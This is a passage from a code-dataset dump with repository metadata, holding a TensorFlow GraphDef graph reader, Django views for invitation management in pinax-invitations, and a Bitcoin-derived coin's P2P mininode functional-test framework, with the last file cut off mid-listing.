= [Tensor(graph, _get_output_name(name, idx), shape=shape, dtype=dtypes.get(name)) for idx, shape in enumerate(output_shapes)] tensors = {tensor.name: tensor for outputs in six.itervalues(node_outputs) for tensor in outputs} # create ops for node in graph_def.node: attributes = _get_attributes(node.attr) inputs = [tensors[name] for name in node.input if not name.startswith('^')] outputs = node_outputs[node.name] if node.name in node_outputs else [] Operation(graph, type=as_str(node.op), name=as_str(node.name), inputs=inputs, outputs=outputs, attribs=attributes) graph.inputs = [node_outputs[node.name][0] for node in graph_def.node if node.op == 'Placeholder'] graph.outputs = [output for op in graph.operations if all(len(output.consumers) == 0 for output in op.outputs) for output in op.outputs] return graph def _unpack_custom_ops(graph): for op in graph.operations: if op.type == 'PyFunc': op.custom = True op.type = op.attribs['token'] op.attribs = {key[2:-2]: value for key, value in six.iteritems(op.attribs) if key.startswith('_$') and key.endswith('$_')} def read_graphdef(filename, input_shapes, fold_constants): graph_def = GraphDef() with open(filename, 'rb') as file: graph_def.ParseFromString(file.read()) if not _has_output_shapes(graph_def): graph_def = _add_output_shapes(graph_def) if input_shapes is not None: from .utils import set_input_shapes graph_def = set_input_shapes(graph_def, input_shapes) if fold_constants: from .utils import fold_constant_tensors graph_def = fold_constant_tensors(graph_def) graph = build_graph(graph_def) _unpack_custom_ops(graph) return graph class Reader(object): def __init__(self, fold_constants=False): self._fold_constants = fold_constants def __call__(self, filename, input_shapes=None): return read_graphdef(filename, input_shapes, self._fold_constants)

32.136

128

0.647747

from __future__ import division, print_function, absolute_import from collections import namedtuple from ....model import * from ....utils.types import as_str from .protobuf import * import numpy as np import six Function = namedtuple('Function', ['name', 'attrs']) _DtypeToNumpy = { 'DT_INVALID': None, 'DT_RESOURCE': np.dtype([('resource', np.int32)]), 'DT_HALF': np.float16, 'DT_FLOAT': np.float32, 'DT_DOUBLE': np.float64, 'DT_INT8': np.int8, 'DT_INT16': np.int16, 'DT_INT32': np.int32, 'DT_INT64': np.int64, 'DT_UINT8': np.uint8, 'DT_UINT16': np.uint16, 'DT_UINT32': np.uint32, 'DT_UINT64': np.uint64, 'DT_BOOL': np.bool, 'DT_STRING': np.str, 'DT_COMPLEX64': np.complex64, 'DT_COMPLEX128': np.complex128, } def _get_shape(shape_proto): return tuple(int(dim.size) if dim.size >= 0 else None for dim in shape_proto.dim) \ if not shape_proto.unknown_rank else None def _get_dtype(dtype_enum): dtype = _DtypeToNumpy[DataType.Name(dtype_enum)] assert dtype is not None, "non-numeric dtype '{}' in attribute".format(DataType.Name(dtype_enum)) return dtype def _get_nonempty_items(message, fields): for field in fields: items = getattr(message, field) if len(items): return field, items return None, None def _get_tensor(tensor_proto): shape = _get_shape(tensor_proto.tensor_shape) dtype = _get_dtype(tensor_proto.dtype) if len(tensor_proto.tensor_content): data = np.frombuffer(tensor_proto.tensor_content, dtype=dtype).reshape(shape) else: field, items = _get_nonempty_items(tensor_proto, fields=['half_val', 'float_val', 'double_val', 'int_val', 'int64_val', 'bool_val', 'string_val', 'uint32_val', 'uint64_val', 'resource_handle_val', 'scomplex_val', 'dcomplex_val']) assert items is not None, "tensor items are empty, dtype = {}".format(dtype) items = [item for item in items] if len(items) == int(np.prod(shape)): data = np.array(items, dtype=dtype).reshape(shape) else: assert len(items) == 1 data = np.full(shape=shape, dtype=dtype, fill_value=items[0]) return data def _get_func(name_attrlist_proto): return Function(name_attrlist_proto.name, _get_attributes(name_attrlist_proto.attr)) def _get_attribute(field, value): if field == 'i' or field == 'f' or field == 'b' or field == 'placeholder': return value elif field == 's': return as_str(value.decode()) elif field == 'shape': return _get_shape(value) elif field == 'type': return _get_dtype(value) elif field == 'tensor': return _get_tensor(value) elif field == 'func': return _get_func(value) elif field == 'list': field, items = _get_nonempty_items(value, fields=['i', 'f', 'b', 's', 'shape', 'type', 'tensor', 'func']) return [_get_attribute(field, item) for item in items] if items is not None else [] assert False def _get_attributes(attr_map_proto): attributes = {} for name, value in attr_map_proto.items(): field = value.WhichOneof('value') if field is not None: value = getattr(value, field) attributes[as_str(name)] = _get_attribute(field, value) else: attributes[as_str(name)] = None return attributes def _get_output_name(node_name, idx): return node_name + ':' + str(idx) if idx > 0 else node_name def _has_output_shapes(graph_def): return all('_output_shapes' in node.attr and node.attr['_output_shapes'].WhichOneof('value') is not None for node in graph_def.node) def _add_output_shapes(graph_def): try: import tensorflow.compat.v1 as tf except ImportError: import tensorflow as tf tf.import_graph_def(graph_def, name='') return tf.get_default_graph().as_graph_def(add_shapes=True) def _get_dtypes(graph_def): try: import tensorflow.compat.v1 as tf except ImportError: import tensorflow as tf dtypes = {} graph = tf.Graph() with graph.as_default(): tf.import_graph_def(graph_def, name='') for op in graph.get_operations(): for tensor in op.outputs: name = tensor.name[:-2] if tensor.name.endswith(':0') else tensor.name dtypes[name] = tensor.dtype.as_numpy_dtype if tensor.dtype != tf.resource else _DtypeToNumpy['DT_RESOURCE'].type return dtypes def _get_output_shapes(attr_map_proto): value = attr_map_proto['_output_shapes'] field = value.WhichOneof('value') if field is None: return None value = getattr(value, field) return _get_attribute(field, value) def build_graph(graph_def): graph = Graph() dtypes = _get_dtypes(graph_def) node_outputs = {} for node in graph_def.node: output_shapes = _get_output_shapes(node.attr) if output_shapes is not None: name = as_str(node.name) node_outputs[name] = [Tensor(graph, _get_output_name(name, idx), shape=shape, dtype=dtypes.get(name)) for idx, shape in enumerate(output_shapes)] tensors = {tensor.name: tensor for outputs in six.itervalues(node_outputs) for tensor in outputs} for node in graph_def.node: attributes = _get_attributes(node.attr) inputs = [tensors[name] for name in node.input if not name.startswith('^')] outputs = node_outputs[node.name] if node.name in node_outputs else [] Operation(graph, type=as_str(node.op), name=as_str(node.name), inputs=inputs, outputs=outputs, attribs=attributes) graph.inputs = [node_outputs[node.name][0] for node in graph_def.node if node.op == 'Placeholder'] graph.outputs = [output for op in graph.operations if all(len(output.consumers) == 0 for output in op.outputs) for output in op.outputs] return graph def _unpack_custom_ops(graph): for op in graph.operations: if op.type == 'PyFunc': op.custom = True op.type = op.attribs['token'] op.attribs = {key[2:-2]: value for key, value in six.iteritems(op.attribs) if key.startswith('_$') and key.endswith('$_')} def read_graphdef(filename, input_shapes, fold_constants): graph_def = GraphDef() with open(filename, 'rb') as file: graph_def.ParseFromString(file.read()) if not _has_output_shapes(graph_def): graph_def = _add_output_shapes(graph_def) if input_shapes is not None: from .utils import set_input_shapes graph_def = set_input_shapes(graph_def, input_shapes) if fold_constants: from .utils import fold_constant_tensors graph_def = fold_constant_tensors(graph_def) graph = build_graph(graph_def) _unpack_custom_ops(graph) return graph class Reader(object): def __init__(self, fold_constants=False): self._fold_constants = fold_constants def __call__(self, filename, input_shapes=None): return read_graphdef(filename, input_shapes, self._fold_constants)

true

f7326cbc92b19dd088c0d4b5e17acb19500de1d9

4,740

py

Python

pinax/invitations/views.py

passiv/pinax-invitations

c3194cd1b3cc92a1d706b1f3b018d58948ed5cb2

[ "MIT" ]

43

2015-09-25T19:46:04.000Z

2022-01-25T22:38:39.000Z

pinax/invitations/views.py

passiv/pinax-invitations

c3194cd1b3cc92a1d706b1f3b018d58948ed5cb2

[ "MIT" ]

21

2015-09-10T15:40:26.000Z

2021-08-31T15:17:25.000Z

pinax/invitations/views.py

passiv/pinax-invitations

c3194cd1b3cc92a1d706b1f3b018d58948ed5cb2

[ "MIT" ]

16

2015-09-09T02:32:35.000Z

2022-03-17T02:51:26.000Z

from django.contrib.auth import get_user_model from django.contrib.auth.decorators import permission_required from django.http import JsonResponse from django.shortcuts import get_object_or_404 from django.template import RequestContext from django.template.loader import render_to_string from django.utils.decorators import method_decorator from django.views.generic import View from django.views.generic.edit import FormMixin from account.mixins import LoginRequiredMixin from .forms import InviteForm from .models import InvitationStat, JoinInvitation class InviteView(LoginRequiredMixin, FormMixin, View): form_class = InviteForm invite_form_fragment = "pinax/invitations/_invite_form.html" invites_remaining_fragment = "pinax/invitations/_invites_remaining.html" invited_fragment = "pinax/invitations/_invited.html" invites_remaining_fragment_selector = ".pinax-invitations-invites-remaining" invited_fragment_selector = ".pinax-invitations-invites-sent" def get_data(self, form): data = { "html": render_to_string( self.invite_form_fragment, { "form": form, "user": self.request.user }, request=self.request ), "fragments": { self.invites_remaining_fragment_selector: render_to_string( self.invites_remaining_fragment, { "invites_remaining": self.request.user.invitationstat.invites_remaining() }, request=self.request ), self.invited_fragment_selector: render_to_string( self.invited_fragment, { "invited_list": self.request.user.invites_sent.all() }, request=self.request ) } } return data def get_form_kwargs(self): kwargs = super().get_form_kwargs() kwargs.update({ "user": self.request.user }) return kwargs def form_valid(self, form): email = form.cleaned_data["email_address"] JoinInvitation.invite(self.request.user, email) return JsonResponse(self.get_data(InviteForm(user=self.request.user))) def form_invalid(self, form): return JsonResponse(self.get_data(form)) def post(self, request, *args, **kwargs): form = self.get_form() if form.is_valid(): return self.form_valid(form) else: return self.form_invalid(form) class ManageInvitesView(LoginRequiredMixin, View): @method_decorator(permission_required("pinax-invitations.manage_invites", raise_exception=True)) def dispatch(self, *args, **kwargs): return super().dispatch(*args, **kwargs) class InviteStatView(ManageInvitesView): def get(self, request, *args, **kwargs): user = get_object_or_404(get_user_model(), pk=kwargs.get("pk")) return JsonResponse({ "html": render_to_string( self.invite_stat_fragment, { "stat": user.invitationstat }, context_instance=RequestContext(request) ) }) class ManageInviteAmountsView(ManageInvitesView): amount_post_var = "amount" def get_amount(self): return int(self.request.POST.get(self.amount_post_var)) class AllManageInviteAmountsView(ManageInviteAmountsView): def action(self, amount): return def post(self, request, *args, **kwargs): amount = self.get_amount() self.action(amount) return JsonResponse({ "inner-fragments": {self.inner_fragments_amount_selector: amount} }) class UserManageInviteAmountsView(ManageInviteAmountsView): def action(self, user, amount): return def post(self, request, *args, **kwargs): user = get_object_or_404(get_user_model(), pk=kwargs.get("pk")) amount = self.get_amount() self.action(user, amount) return JsonResponse({ "html": amount }) class TopOffAllView(AllManageInviteAmountsView): inner_fragments_amount_selector = ".invite-total" def action(self, amount): InvitationStat.topoff(amount) class TopOffUserView(UserManageInviteAmountsView): def action(self, user, amount): InvitationStat.topoff_user(user=user, amount=amount) class AddToAllView(AllManageInviteAmountsView): inner_fragments_amount_selector = ".amount-added" def action(self, amount): InvitationStat.add_invites(amount) class AddToUserView(UserManageInviteAmountsView): def action(self, user, amount): InvitationStat.add_invites_to_user(user=user, amount=amount)

31.184211

100

0.665401

from django.contrib.auth import get_user_model from django.contrib.auth.decorators import permission_required from django.http import JsonResponse from django.shortcuts import get_object_or_404 from django.template import RequestContext from django.template.loader import render_to_string from django.utils.decorators import method_decorator from django.views.generic import View from django.views.generic.edit import FormMixin from account.mixins import LoginRequiredMixin from .forms import InviteForm from .models import InvitationStat, JoinInvitation class InviteView(LoginRequiredMixin, FormMixin, View): form_class = InviteForm invite_form_fragment = "pinax/invitations/_invite_form.html" invites_remaining_fragment = "pinax/invitations/_invites_remaining.html" invited_fragment = "pinax/invitations/_invited.html" invites_remaining_fragment_selector = ".pinax-invitations-invites-remaining" invited_fragment_selector = ".pinax-invitations-invites-sent" def get_data(self, form): data = { "html": render_to_string( self.invite_form_fragment, { "form": form, "user": self.request.user }, request=self.request ), "fragments": { self.invites_remaining_fragment_selector: render_to_string( self.invites_remaining_fragment, { "invites_remaining": self.request.user.invitationstat.invites_remaining() }, request=self.request ), self.invited_fragment_selector: render_to_string( self.invited_fragment, { "invited_list": self.request.user.invites_sent.all() }, request=self.request ) } } return data def get_form_kwargs(self): kwargs = super().get_form_kwargs() kwargs.update({ "user": self.request.user }) return kwargs def form_valid(self, form): email = form.cleaned_data["email_address"] JoinInvitation.invite(self.request.user, email) return JsonResponse(self.get_data(InviteForm(user=self.request.user))) def form_invalid(self, form): return JsonResponse(self.get_data(form)) def post(self, request, *args, **kwargs): form = self.get_form() if form.is_valid(): return self.form_valid(form) else: return self.form_invalid(form) class ManageInvitesView(LoginRequiredMixin, View): @method_decorator(permission_required("pinax-invitations.manage_invites", raise_exception=True)) def dispatch(self, *args, **kwargs): return super().dispatch(*args, **kwargs) class InviteStatView(ManageInvitesView): def get(self, request, *args, **kwargs): user = get_object_or_404(get_user_model(), pk=kwargs.get("pk")) return JsonResponse({ "html": render_to_string( self.invite_stat_fragment, { "stat": user.invitationstat }, context_instance=RequestContext(request) ) }) class ManageInviteAmountsView(ManageInvitesView): amount_post_var = "amount" def get_amount(self): return int(self.request.POST.get(self.amount_post_var)) class AllManageInviteAmountsView(ManageInviteAmountsView): def action(self, amount): return def post(self, request, *args, **kwargs): amount = self.get_amount() self.action(amount) return JsonResponse({ "inner-fragments": {self.inner_fragments_amount_selector: amount} }) class UserManageInviteAmountsView(ManageInviteAmountsView): def action(self, user, amount): return def post(self, request, *args, **kwargs): user = get_object_or_404(get_user_model(), pk=kwargs.get("pk")) amount = self.get_amount() self.action(user, amount) return JsonResponse({ "html": amount }) class TopOffAllView(AllManageInviteAmountsView): inner_fragments_amount_selector = ".invite-total" def action(self, amount): InvitationStat.topoff(amount) class TopOffUserView(UserManageInviteAmountsView): def action(self, user, amount): InvitationStat.topoff_user(user=user, amount=amount) class AddToAllView(AllManageInviteAmountsView): inner_fragments_amount_selector = ".amount-added" def action(self, amount): InvitationStat.add_invites(amount) class AddToUserView(UserManageInviteAmountsView): def action(self, user, amount): InvitationStat.add_invites_to_user(user=user, amount=amount)

true

f7326d7f452791ff8fb5bc06a352c3c3fbb10c38

23,224

py

Python

test/functional/test_framework/mininode.py

minblock/lockely

6bc00e80efdf563b52555bc2f547f271f399b03a

[ "MIT" ]

null

test/functional/test_framework/mininode.py

minblock/lockely

6bc00e80efdf563b52555bc2f547f271f399b03a

[ "MIT" ]

null

test/functional/test_framework/mininode.py

minblock/lockely

6bc00e80efdf563b52555bc2f547f271f399b03a

[ "MIT" ]

null

#!/usr/bin/env python3 # Copyright (c) 2010 ArtForz -- public domain half-a-node # Copyright (c) 2012 Jeff Garzik # Copyright (c) 2010-2018 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Lockelycoin P2P network half-a-node. This python code was modified from ArtForz' public domain half-a-node, as found in the mini-node branch of http://github.com/jgarzik/pynode. P2PConnection: A low-level connection object to a node's P2P interface P2PInterface: A high-level interface object for communicating to a node over P2P P2PDataStore: A p2p interface class that keeps a store of transactions and blocks and can respond correctly to getdata and getheaders messages""" import asyncio from collections import defaultdict from io import BytesIO import logging import struct import sys import threading from test_framework.messages import ( CBlockHeader, MIN_VERSION_SUPPORTED, msg_addr, msg_block, MSG_BLOCK, msg_blocktxn, msg_cmpctblock, msg_feefilter, msg_getaddr, msg_getblocks, msg_getblocktxn, msg_getdata, msg_getheaders, msg_headers, msg_inv, msg_mempool, msg_notfound, msg_ping, msg_pong, msg_reject, msg_sendcmpct, msg_sendheaders, msg_tx, MSG_TX, MSG_TYPE_MASK, msg_verack, msg_version, NODE_NETWORK, NODE_WITNESS, sha256, ) from test_framework.util import wait_until logger = logging.getLogger("TestFramework.mininode") MESSAGEMAP = { b"addr": msg_addr, b"block": msg_block, b"blocktxn": msg_blocktxn, b"cmpctblock": msg_cmpctblock, b"feefilter": msg_feefilter, b"getaddr": msg_getaddr, b"getblocks": msg_getblocks, b"getblocktxn": msg_getblocktxn, b"getdata": msg_getdata, b"getheaders": msg_getheaders, b"headers": msg_headers, b"inv": msg_inv, b"mempool": msg_mempool, b"notfound": msg_notfound, b"ping": msg_ping, b"pong": msg_pong, b"reject": msg_reject, b"sendcmpct": msg_sendcmpct, b"sendheaders": msg_sendheaders, b"tx": msg_tx, b"verack": msg_verack, b"version": msg_version, } MAGIC_BYTES = { "mainnet": b"\xfb\xc0\xb6\xdb", # mainnet "testnet4": b"\xfd\xd2\xc8\xf1", # testnet3 "regtest": b"\xfa\xbf\xb5\xda", # regtest } class P2PConnection(asyncio.Protocol): """A low-level connection object to a node's P2P interface. This class is responsible for: - opening and closing the TCP connection to the node - reading bytes from and writing bytes to the socket - deserializing and serializing the P2P message header - logging messages as they are sent and received This class contains no logic for handing the P2P message payloads. It must be sub-classed and the on_message() callback overridden.""" def __init__(self): # The underlying transport of the connection. # Should only call methods on this from the NetworkThread, c.f. call_soon_threadsafe self._transport = None @property def is_connected(self): return self._transport is not None def peer_connect(self, dstaddr, dstport, net="regtest"): assert not self.is_connected self.dstaddr = dstaddr self.dstport = dstport # The initial message to send after the connection was made: self.on_connection_send_msg = None self.recvbuf = b"" self.magic_bytes = MAGIC_BYTES[net] logger.debug('Connecting to Lockelycoin Node: %s:%d' % (self.dstaddr, self.dstport)) loop = NetworkThread.network_event_loop conn_gen_unsafe = loop.create_connection(lambda: self, host=self.dstaddr, port=self.dstport) conn_gen = lambda: loop.call_soon_threadsafe(loop.create_task, conn_gen_unsafe) return conn_gen def peer_disconnect(self): # Connection could have already been closed by other end. NetworkThread.network_event_loop.call_soon_threadsafe(lambda: self._transport and self._transport.abort()) # Connection and disconnection methods def connection_made(self, transport): """asyncio callback when a connection is opened.""" assert not self._transport logger.debug("Connected & Listening: %s:%d" % (self.dstaddr, self.dstport)) self._transport = transport if self.on_connection_send_msg: self.send_message(self.on_connection_send_msg) self.on_connection_send_msg = None # Never used again self.on_open() def connection_lost(self, exc): """asyncio callback when a connection is closed.""" if exc: logger.warning("Connection lost to {}:{} due to {}".format(self.dstaddr, self.dstport, exc)) else: logger.debug("Closed connection to: %s:%d" % (self.dstaddr, self.dstport)) self._transport = None self.recvbuf = b"" self.on_close() # Socket read methods def data_received(self, t): """asyncio callback when data is read from the socket.""" if len(t) > 0: self.recvbuf += t self._on_data() def _on_data(self): """Try to read P2P messages from the recv buffer. This method reads data from the buffer in a loop. It deserializes, parses and verifies the P2P header, then passes the P2P payload to the on_message callback for processing.""" try: while True: if len(self.recvbuf) < 4: return if self.recvbuf[:4] != self.magic_bytes: raise ValueError("got garbage %s" % repr(self.recvbuf)) if len(self.recvbuf) < 4 + 12 + 4 + 4: return command = self.recvbuf[4:4+12].split(b"\x00", 1)[0] msglen = struct.unpack("<i", self.recvbuf[4+12:4+12+4])[0] checksum = self.recvbuf[4+12+4:4+12+4+4] if len(self.recvbuf) < 4 + 12 + 4 + 4 + msglen: return msg = self.recvbuf[4+12+4+4:4+12+4+4+msglen] th = sha256(msg) h = sha256(th) if checksum != h[:4]: raise ValueError("got bad checksum " + repr(self.recvbuf)) self.recvbuf = self.recvbuf[4+12+4+4+msglen:] if command not in MESSAGEMAP: raise ValueError("Received unknown command from %s:%d: '%s' %s" % (self.dstaddr, self.dstport, command, repr(msg))) f = BytesIO(msg) t = MESSAGEMAP[command]() t.deserialize(f) self._log_message("receive", t) self.on_message(t) except Exception as e: logger.exception('Error reading message:', repr(e)) raise def on_message(self, message): """Callback for processing a P2P payload. Must be overridden by derived class.""" raise NotImplementedError # Socket write methods def send_message(self, message): """Send a P2P message over the socket. This method takes a P2P payload, builds the P2P header and adds the message to the send buffer to be sent over the socket.""" tmsg = self.build_message(message) self._log_message("send", message) return self.send_raw_message(tmsg) def send_raw_message(self, raw_message_bytes): if not self.is_connected: raise IOError('Not connected') def maybe_write(): if not self._transport: return # Python <3.4.4 does not have is_closing, so we have to check for # its existence explicitly as long as Bitcoin Core supports all # Python 3.4 versions. if hasattr(self._transport, 'is_closing') and self._transport.is_closing(): return self._transport.write(raw_message_bytes) NetworkThread.network_event_loop.call_soon_threadsafe(maybe_write) # Class utility methods def build_message(self, message): """Build a serialized P2P message""" command = message.command data = message.serialize() tmsg = self.magic_bytes tmsg += command tmsg += b"\x00" * (12 - len(command)) tmsg += struct.pack("<I", len(data)) th = sha256(data) h = sha256(th) tmsg += h[:4] tmsg += data return tmsg def _log_message(self, direction, msg): """Logs a message being sent or received over the connection.""" if direction == "send": log_message = "Send message to " elif direction == "receive": log_message = "Received message from " log_message += "%s:%d: %s" % (self.dstaddr, self.dstport, repr(msg)[:500]) if len(log_message) > 500: log_message += "... (msg truncated)" logger.debug(log_message) class P2PInterface(P2PConnection): """A high-level P2P interface class for communicating with a Lockelycoin node. This class provides high-level callbacks for processing P2P message payloads, as well as convenience methods for interacting with the node over P2P. Individual testcases should subclass this and override the on_* methods if they want to alter message handling behaviour.""" def __init__(self): super().__init__() # Track number of messages of each type received and the most recent # message of each type self.message_count = defaultdict(int) self.last_message = {} # A count of the number of ping messages we've sent to the node self.ping_counter = 1 # The network services received from the peer self.nServices = 0 def peer_connect(self, *args, services=NODE_NETWORK|NODE_WITNESS, send_version=True, **kwargs): create_conn = super().peer_connect(*args, **kwargs) if send_version: # Send a version msg vt = msg_version() vt.nServices = services vt.addrTo.ip = self.dstaddr vt.addrTo.port = self.dstport vt.addrFrom.ip = "0.0.0.0" vt.addrFrom.port = 0 self.on_connection_send_msg = vt # Will be sent soon after connection_made return create_conn # Message receiving methods def on_message(self, message): """Receive message and dispatch message to appropriate callback. We keep a count of how many of each message type has been received and the most recent message of each type.""" with mininode_lock: try: command = message.command.decode('ascii') self.message_count[command] += 1 self.last_message[command] = message getattr(self, 'on_' + command)(message) except: print("ERROR delivering %s (%s)" % (repr(message), sys.exc_info()[0])) raise # Callback methods. Can be overridden by subclasses in individual test # cases to provide custom message handling behaviour. def on_open(self): pass def on_close(self): pass def on_addr(self, message): pass def on_block(self, message): pass def on_blocktxn(self, message): pass def on_cmpctblock(self, message): pass def on_feefilter(self, message): pass def on_getaddr(self, message): pass def on_getblocks(self, message): pass def on_getblocktxn(self, message): pass def on_getdata(self, message): pass def on_getheaders(self, message): pass def on_headers(self, message): pass def on_mempool(self, message): pass def on_notfound(self, message): pass def on_pong(self, message): pass def on_reject(self, message): pass def on_sendcmpct(self, message): pass def on_sendheaders(self, message): pass def on_tx(self, message): pass def on_inv(self, message): want = msg_getdata() for i in message.inv: if i.type != 0: want.inv.append(i) if len(want.inv): self.send_message(want) def on_ping(self, message): self.send_message(msg_pong(message.nonce)) def on_verack(self, message): pass def on_version(self, message): assert message.nVersion >= MIN_VERSION_SUPPORTED, "Version {} received. Test framework only supports versions greater than {}".format(message.nVersion, MIN_VERSION_SUPPORTED) self.send_message(msg_verack()) self.nServices = message.nServices # Connection helper methods def wait_for_disconnect(self, timeout=60): test_function = lambda: not self.is_connected wait_until(test_function, timeout=timeout, lock=mininode_lock) # Message receiving helper methods def wait_for_tx(self, txid, timeout=60): def test_function(): if not self.last_message.get('tx'): return False return self.last_message['tx'].tx.rehash() == txid wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_block(self, blockhash, timeout=60): test_function = lambda: self.last_message.get("block") and self.last_message["block"].block.rehash() == blockhash wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_header(self, blockhash, timeout=60): def test_function(): last_headers = self.last_message.get('headers') if not last_headers: return False return last_headers.headers[0].rehash() == blockhash wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_getdata(self, timeout=60): """Waits for a getdata message. Receiving any getdata message will satisfy the predicate. the last_message["getdata"] value must be explicitly cleared before calling this method, or this will return immediately with success. TODO: change this method to take a hash value and only return true if the correct block/tx has been requested.""" test_function = lambda: self.last_message.get("getdata") wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_getheaders(self, timeout=60): """Waits for a getheaders message. Receiving any getheaders message will satisfy the predicate. the last_message["getheaders"] value must be explicitly cleared before calling this method, or this will return immediately with success. TODO: change this method to take a hash value and only return true if the correct block header has been requested.""" test_function = lambda: self.last_message.get("getheaders") wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_inv(self, expected_inv, timeout=60): """Waits for an INV message and checks that the first inv object in the message was as expected.""" if len(expected_inv) > 1: raise NotImplementedError("wait_for_inv() will only verify the first inv object") test_function = lambda: self.last_message.get("inv") and \ self.last_message["inv"].inv[0].type == expected_inv[0].type and \ self.last_message["inv"].inv[0].hash == expected_inv[0].hash wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_verack(self, timeout=60): test_function = lambda: self.message_count["verack"] wait_until(test_function, timeout=timeout, lock=mininode_lock) # Message sending helper functions def send_and_ping(self, message, timeout=60): self.send_message(message) self.sync_with_ping(timeout=timeout) # Sync up with the node def sync_with_ping(self, timeout=60): self.send_message(msg_ping(nonce=self.ping_counter)) test_function = lambda: self.last_message.get("pong") and self.last_message["pong"].nonce == self.ping_counter wait_until(test_function, timeout=timeout, lock=mininode_lock) self.ping_counter += 1 # One lock for synchronizing all data access between the network event loop (see # NetworkThread below) and the thread running the test logic. For simplicity, # P2PConnection acquires this lock whenever delivering a message to a P2PInterface. # This lock should be acquired in the thread running the test logic to synchronize # access to any data shared with the P2PInterface or P2PConnection. mininode_lock = threading.RLock() class NetworkThread(threading.Thread): network_event_loop = None def __init__(self): super().__init__(name="NetworkThread") # There is only one event loop and no more than one thread must be created assert not self.network_event_loop NetworkThread.network_event_loop = asyncio.new_event_loop() def run(self): """Start the network thread.""" self.network_event_loop.run_forever() def close(self, timeout=10): """Close the connections and network event loop.""" self.network_event_loop.call_soon_threadsafe(self.network_event_loop.stop) wait_until(lambda: not self.network_event_loop.is_running(), timeout=timeout) self.network_event_loop.close() self.join(timeout) class P2PDataStore(P2PInterface): """A P2P data store class. Keeps a block and transaction store and responds correctly to getdata and getheaders requests.""" def __init__(self): super().__init__() # store of blocks. key is block hash, value is a CBlock object self.block_store = {} self.last_block_hash = '' # store of txs. key is txid, value is a CTransaction object self.tx_store = {} self.getdata_requests = [] def on_getdata(self, message): """Check for the tx/block in our stores and if found, reply with an inv message.""" for inv in message.inv: self.getdata_requests.append(inv.hash) if (inv.type & MSG_TYPE_MASK) == MSG_TX and inv.hash in self.tx_store.keys(): self.send_message(msg_tx(self.tx_store[inv.hash])) elif (inv.type & MSG_TYPE_MASK) == MSG_BLOCK and inv.hash in self.block_store.keys(): self.send_message(msg_block(self.block_store[inv.hash])) else: logger.debug('getdata message type {} received.'.format(hex(inv.type))) def on_getheaders(self, message): """Search back through our block store for the locator, and reply with a headers message if found.""" locator, hash_stop = message.locator, message.hashstop # Assume that the most recent block added is the tip if not self.block_store: return headers_list = [self.block_store[self.last_block_hash]] maxheaders = 2000 while headers_list[-1].sha256 not in locator.vHave: # Walk back through the block store, adding headers to headers_list # as we go. prev_block_hash = headers_list[-1].hashPrevBlock if prev_block_hash in self.block_store: prev_block_header = CBlockHeader(self.block_store[prev_block_hash]) headers_list.append(prev_block_header) if prev_block_header.sha256 == hash_stop: # if this is the hashstop header, stop here break else: logger.debug('block hash {} not found in block store'.format(hex(prev_block_hash))) break # Truncate the list if there are too many headers headers_list = headers_list[:-maxheaders - 1:-1] response = msg_headers(headers_list) if response is not None: self.send_message(response) def send_blocks_and_test(self, blocks, node, *, success=True, force_send=False, reject_reason=None, expect_disconnect=False, timeout=60): """Send blocks to test node and test whether the tip advances. - add all blocks to our block_store - send a headers message for the final block - the on_getheaders handler will ensure that any getheaders are responded to - if force_send is False: wait for getdata for each of the blocks. The on_getdata handler will ensure that any getdata messages are responded to. Otherwise send the full block unsolicited. - if success is True: assert that the node's tip advances to the most recent block - if success is False: assert that the node's tip doesn't advance - if reject_reason is set: assert that the correct reject message is logged""" with mininode_lock: for block in blocks: self.block_store[block.sha256] = block self.last_block_hash = block.sha256 reject_reason = [reject_reason] if reject_reason else [] with node.assert_debug_log(expected_msgs=reject_reason): if force_send: for b in blocks: self.send_message(msg_block(block=b)) else: self.send_message(msg_headers([CBlockHeader(blocks[-1])])) wait_until(lambda: blocks[-1].sha256 in self.getdata_requests, timeout=timeout, lock=mininode_lock) if expect_disconnect: self.wait_for_disconnect(timeout=timeout) else: self.sync_with_ping(timeout=timeout) if success: wait_until(lambda: node.getbestblockhash() == blocks[-1].hash, timeout=timeout) else: assert node.getbestblockhash() != blocks[-1].hash def send_txs_and_test(self, txs, node, *, success=True, expect_disconnect=False, reject_reason=None): """Send txs to test node and test whether they're accepted to the mempool. - add all txs to our tx_store - send tx messages for all txs - if success is True/False: assert that the txs are/are not accepted to the mempool - if expect_disconnect is True: Skip the sync with ping - if reject_reason is set: assert that the correct reject message is logged.""" with mininode_lock: for tx in txs: self.tx_store[tx.sha256] = tx reject_reason = [reject_reason] if reject_reason else [] with node.assert_debug_log(expected_msgs=reject_reason): for tx in txs: self.send_message(msg_tx(tx)) if expect_disconnect: self.wait_for_disconnect() else: self.sync_with_ping() raw_mempool = node.getrawmempool() if success: # Check that all txs are now in the mempool for tx in txs: assert tx.hash in raw_mempool, "{} not found in mempool".format(tx.hash) else: # Check that none of the txs are now in the mempool for tx in txs: assert tx.hash not in raw_mempool, "{} tx found in mempool".format(tx.hash)

39.362712

182

0.645065

import asyncio from collections import defaultdict from io import BytesIO import logging import struct import sys import threading from test_framework.messages import ( CBlockHeader, MIN_VERSION_SUPPORTED, msg_addr, msg_block, MSG_BLOCK, msg_blocktxn, msg_cmpctblock, msg_feefilter, msg_getaddr, msg_getblocks, msg_getblocktxn, msg_getdata, msg_getheaders, msg_headers, msg_inv, msg_mempool, msg_notfound, msg_ping, msg_pong, msg_reject, msg_sendcmpct, msg_sendheaders, msg_tx, MSG_TX, MSG_TYPE_MASK, msg_verack, msg_version, NODE_NETWORK, NODE_WITNESS, sha256, ) from test_framework.util import wait_until logger = logging.getLogger("TestFramework.mininode") MESSAGEMAP = { b"addr": msg_addr, b"block": msg_block, b"blocktxn": msg_blocktxn, b"cmpctblock": msg_cmpctblock, b"feefilter": msg_feefilter, b"getaddr": msg_getaddr, b"getblocks": msg_getblocks, b"getblocktxn": msg_getblocktxn, b"getdata": msg_getdata, b"getheaders": msg_getheaders, b"headers": msg_headers, b"inv": msg_inv, b"mempool": msg_mempool, b"notfound": msg_notfound, b"ping": msg_ping, b"pong": msg_pong, b"reject": msg_reject, b"sendcmpct": msg_sendcmpct, b"sendheaders": msg_sendheaders, 